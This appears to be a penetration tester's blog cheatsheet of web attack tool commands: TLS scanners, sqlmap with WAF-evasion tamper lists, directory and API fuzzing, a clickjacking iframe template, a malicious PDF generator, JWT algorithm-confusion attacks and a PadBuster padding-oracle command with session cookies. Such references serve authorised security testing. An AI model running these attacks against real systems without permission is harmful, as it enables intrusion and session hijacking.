Web Tools Cheatsheet

Web App Attack

TestSSL

https://github.com/drwetter/testssl.sh

./testssl.sh -f client.cloudfront.net > testSSL.txt

SSLyze

https://github.com/nabla-c0d3/sslyze

# Test for session renegotiation
sslyze --reneg client.cloudfront.net > sslyze_reneg.txt

Smuggler

https://github.com/defparam/smuggler

python3 ./smuggler.py -u client.cloudfront.net > smuggler.txt

OpenSSL

https://github.com/openssl/openssl

# Check for Weak Diffie-Hellman Parameters
openssl s_client -connect client.com:443 -cipher "EDH" 2>/dev/null | grep "Server Temp Key"

# Check OCSP Stapling
openssl s_client -connect google.com:443 -status -servername google.com

SSLScan

https://github.com/openssl/openssl

sslscan technoherder.com 

# 3DES Cipher Suites Enabled
sslscan fakePentest.com | grep DES

YAWAST

https://github.com/adamcaudill/yawast

docker pull adamcaudill/yawast && docker run --rm -it adamcaudill/yawast scan technoherder.com  —-tdessessioncount

SQLMap

https://github.com/sqlmapproject/sqlmap

python3 ./sqlmap.py -r request.txt --risk=3 --level=5 --random-agent  

./sqlmap.py -r request.txt --risk=3 --level=5 --random-agent —threads=5 

./sqlmap.py -r request.txt --risk=3 --level=5 --random-agent --tamper="between,randomcase,space2comment" -v 3 -p subject —dbms MySQL

./sqlmap.py -r request.txt --risk=3 --level=5 --random-agent

./sqlmap.py -r request.txt -p ‘JSON username’ --risk=3 --level=5 --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

./sqlmap.py -r request.txt -p ‘JSON username’ --risk=3 --level=5 --cookie=“_gcl_au=1.1.737317960.1647528948; _ga_4MGG2VTTQ7=GS1.1.1647954525.11.1.1647956818.49; _ga=GA1.1.696811828.1647528949; _fbp=fb.1.1647528949554.985154512; one-cookie=someValue”

./sqlmap.py -r request.txt -p ‘JSON entityType’  --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

./sqlmap.py --risk=3 --level=5 --random-agent -u "testing.io/gateway/v1/transactions/batches/test*/purchases/15cc333a-7c6f-46cd-bb6c-a0aa0a367e95" --headers="Authorization: Bearer eyJhbG”

Tamper scripts

MSSQL:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

General Tamper testing:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes


NoSQLMap

docker pull sdcampbell/nosqlmap && docker run --rm -ti sdcampbell/nosqlmap

ClickJacking

Change opacity to 0.0001 for malicious intent:

<style>
   iframe {
       position:relative;
       Width:900;
       height: 900;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       Top:500;
       left:400;
       z-index: 1;
   }
</style>
<div>Test me</div>
<iframe src="$url"></iframe>

Gobuster

https://github.com/OJ/gobuster

# Use -k switch to ignore SSL check
# Use -z switch to hide the progress bar

gobuster dns -d targetDomainName -w /path/wordList

gobuster dir -u targetUrl -w wordList

gobuster dir -u https://technoherder.com/path/to/folder -c 'session=123456;other=xyz' -t 50 -w common-files.txt -x .php,.html

gobuster dir -u https://technoherder.io -w ~/wordlists/shortlist.txt —exclude-length 4587

gobuster dir -u https://technoherder.io -w ~/wordlists/shortlist.txt -q -n -e
gobuster dns -d technoherder.com -w ~/wordlists/subdomains.txt -i

gobuster fuzz -u https://technoherder.com?FUZZ=test -w parameter-names.txt

gobuster fuzz -u https://technoherder.io/gateway/v1/transactions/batches/test/purchases/actions/FUZZ/ -w API_Endpoints -H "Authorization: Bearer tokenValue" -b 404

gobuster fuzz -u https://testing.io/gateway/v1/transactions/batches/ -w API_Endpoints -H "Authorization: Bearer tokenValue" -b 404

Dirsearch

https://github.com/maurosoria/dirsearch

dirsearch % python3 dirsearch.py -u kmsparallel.com -e aspx,cs,html  

# Simple usage
python3 dirsearch.py -u https://target

python3 dirsearch.py -e php,html,js -u https://target

python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist

Wfuzz

https://github.com/xmendez/wfuzz

docker run -v $(pwd)/wordlist:/wordlist/ -it ghcr.io/xmendez/wfuzz wfuzz

dnscaa

https://github.com/weppos/dnscaa

Follow these instructions to install dnscaa:

apt-get update && apt-get install golang
mkdir ~/gogit clone https://github.com/weppos/dnscaa.git
cd dnscaa
go mod init github.com/weppos/dnscaa
go mod tidy
go build cmd/digcaa/digcaa.go

# To run CAA tool:
./digcaa google.com

Malicious PDF Generator

https://github.com/jonaslejon/malicious-pdf

Usage

python3 malicious-pdf.py burp-collaborator-url

Output will be written as: test1.pdf, test2.pdf, test3.pdf etc in the current directory.
Do not use the https:// etc prefix on the url argument


Assetfinder

https://github.com/tomnomnom/assetfinder

Install

If you have Go installed and configured (i.e. with $GOPATH/bin in your $PATH):

go get -u github.com/tomnomnom/assetfinder

Otherwise download a release for your platform. To make it easier to execute you can put the binary in your $PATH.

Usage

assetfinder [--subs-only] <domain>

Kiterunner

https://github.com/assetnote/kiterunner

# build the binary
make build

# symlink your binary
ln -s $(pwd)/dist/kr /usr/local/bin/kr

# compile the wordlist
# kr kb compile <input.json> <output.kite>
kr kb compile routes.json routes.kite

# scan away
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053

JWT

# Simple decode
$ python3 jwt_tool.py <JWT>

# Changes alg to None
python3 jwt_tool.py <<JWT_TOKEN>> -X a

# DIRTY ALL CHECKS
python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" -rh "Authorization: Bearer eyJhbG...<JWT Token>"

Sign JWT with Public Cert after using HS256 ALG

(if works, you can change the values!)

# Get public key
openssl s_client -connect <hostname>:443

# Copy the server certificate into a new file
nano cert.perm

-----BEGIN CERTIFICATE-----
MIIGJTCCBQ2gAwIBAgIQDDaea1XwVFbuw0e+PqAE5TANBgkqhkiG9w0BAQsFADBG
MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRUwEwYDVQQLEwxTZXJ2ZXIg
-----END CERTIFICATE-----

# Then

python3 jwt_tool.py <<JWT_TOKEN>> -X k -pk <<PUBKEY.PEM>>

python3 jwt_tool.py <<JWT_TOKEN>> -X k -pk cert.pem

OpenVAS

https://github.com/greenbone/openvas-scanner

docker run -d -p 443:443 --name openvas mikesplain/openvas

https://127.0.0.1/login/login.html

Username: admin
Password: admin

PadBuster

# install on Kali
sudo apt-get install padbuster

# Pass in cookies and value
┌──(kali㉿kali)-[~]
└─$ padbuster https://example.com/Admin/Index 2505B841676B218E241A3E6CDBBCDCF27F721D3220D5EE23C44A54A1B0F9FE1D7439EA1D37F6478E2F1F56B97FC46A665BA18E2EDA37A9B72FC6E555AFB0C721B94E94A65F6FD6D0262A3FD195A27A02BBC8024B47C1E3ECDF714E3187D68DEE 8 -cookies 'ASP.NET_SessionId=3zrjluarj5nkig4kmp5qi20w;.ASPXFORMSAUTH=2505B841676B218E241A3E6CDBBCDCF27F721D3220D5EE23C44A54A1B0F9FE1D7439EA1D37F6478E2F1F56B97FC46A665BA18E2EDA37A9B72FC6E555AFB0C721B94E94A65F6FD6D0262A3FD195A27A02BBC8024B47C1E3ECDF714E3187D68DEE'

Leave a Reply

Your email address will not be published. Required fields are marked *